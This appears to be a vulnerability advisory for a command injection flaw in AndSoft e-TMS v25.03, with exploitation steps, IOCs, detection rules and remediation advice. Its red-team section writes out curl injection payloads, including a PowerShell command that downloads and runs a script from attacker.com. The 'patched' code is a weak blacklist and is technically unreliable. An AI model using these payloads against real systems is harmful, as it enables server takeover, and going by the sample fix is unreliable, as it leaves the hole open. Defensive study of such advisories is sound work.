CVE-2025-59738

Executive Summary

CVE-2025-59738 is a critical operating system command injection vulnerability in AndSoft's e-TMS v25.03, specifically within the /clt/LOGINFRM_BET.ASP endpoint. The flaw allows an unauthenticated attacker to execute arbitrary OS commands on the server by sending a crafted POST request with a malicious m parameter. This can lead to full server compromise, data exfiltration, and lateral movement within the network. No public proof-of-concept (PoC) or patch is currently available, making this a high-risk zero-day for organizations using the affected software.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics (network-based, low complexity, no authentication required, full system compromise), the estimated CVSS v3.1 score is 9.8 (Critical).

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability resides in the LOGINFRM_BET.ASP page, which is part of the e-TMS (Transport Management System) application. The m parameter is passed directly to a system command without proper sanitization or validation. An attacker can inject arbitrary commands by appending shell metacharacters (e.g., ;, |, &, `) to the parameter value.

Example of vulnerable parameter handling (pseudo-code):

Dim cmd
cmd = "some_command " & Request.Form("m")
Shell(cmd)

This allows an attacker to execute commands like:

; whoami
| dir
& echo vulnerable

The lack of input validation and the use of a shell execution function (e.g., WScript.Shell, CreateObject("WScript.Shell").Exec) makes this a classic command injection.

Vulnerable vs. Patched Code

Vulnerable Code (e-TMS v25.03):

<%
Dim objShell, cmd
Set objShell = CreateObject("WScript.Shell")
cmd = "process.exe " & Request.Form("m")
objShell.Run cmd, 0, False
Set objShell = Nothing
%>

Patched Code (Hypothetical):

<%
Dim cmd, sanitizedInput
sanitizedInput = Replace(Request.Form("m"), ";", "")
sanitizedInput = Replace(sanitizedInput, "|", "")
sanitizedInput = Replace(sanitizedInput, "&", "")
sanitizedInput = Replace(sanitizedInput, "`", "")
' Use a safer API that does not invoke a shell
cmd = "process.exe " & sanitizedInput
' Execute using a non-shell method (e.g., CreateObject("Shell.Application").ShellExecute)
%>

Note: No official patch is available. The above is a recommended mitigation approach.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of e-TMS v25.03 on a Windows Server (IIS).
2. Ensure the /clt/LOGINFRM_BET.ASP endpoint is accessible.

Exploitation Steps:

1. Identify the target: http://target.com/clt/LOGINFRM_BET.ASP
2. Send a POST request with a malicious m parameter:

   curl -X POST http://target.com/clt/LOGINFRM_BET.ASP -d "m=; whoami"
   

3. For reverse shell (using PowerShell):

   curl -X POST http://target.com/clt/LOGINFRM_BET.ASP -d "m=; powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\""
   

No public exploit code is available.

Blue Team (Defensive)

Detection Steps:

1. Monitor IIS logs for POST requests to /clt/LOGINFRM_BET.ASP with unusual m parameter values (e.g., containing ;, |, &, `).
2. Enable command-line auditing (Event ID 4688) to detect spawned processes like cmd.exe, powershell.exe, or wscript.exe from the IIS worker process.
3. Deploy a WAF rule to block requests containing shell metacharacters in the m parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /clt/LOGINFRM_BET.ASP with m parameter containing shell metacharacters.
  • Outbound connections to unknown IPs on ports 80/443 or common reverse shell ports (4444, 1337, etc.).
• Host IOCs:
  • Unusual processes spawned by w3wp.exe (IIS worker process), such as cmd.exe, powershell.exe, cscript.exe.
  • New user accounts or scheduled tasks created on the server.
  • Modified or newly created files in C:\Windows\Temp or C:\inetpub\wwwroot.
• File IOCs:
  • Suspicious scripts (.ps1, .vbs, .bat) in web directories.

Detection Engineering

YARA Rule

rule CVE_2025_59738_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting e-TMS LOGINFRM_BET.ASP"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-59738"
    strings:
        $asp_path = "/clt/LOGINFRM_BET.ASP" nocase
        $param_m = "m=" nocase
        $shell_meta1 = ";" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = "&" ascii
        $shell_meta4 = "`" ascii
    condition:
        $asp_path and $param_m and any of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-59738 Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to e-TMS LOGINFRM_BET.ASP with shell metacharacters in the m parameter.
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-stem: '/clt/LOGINFRM_BET.ASP'
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'm=;'
            - 'm=|'
            - 'm=&'
            - 'm=`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in the m parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59738 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/clt/LOGINFRM_BET.ASP"; http_uri; content:"m="; http_client_body; pcre:"/m=[^&]*(;|\||&|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from the network if possible.
2. Apply input validation to the m parameter: whitelist allowed characters (e.g., alphanumeric only).
3. Disable the vulnerable endpoint /clt/LOGINFRM_BET.ASP if not required.
4. Implement a WAF rule to block requests containing shell metacharacters.

Long-term Fix:

• Contact AndSoft for an official patch.
• Replace the vulnerable ASP page with a secure version that uses parameterized commands or a safe API (e.g., Shell.Application.ShellExecute with restricted arguments).
• Conduct a full security audit of the e-TMS application.

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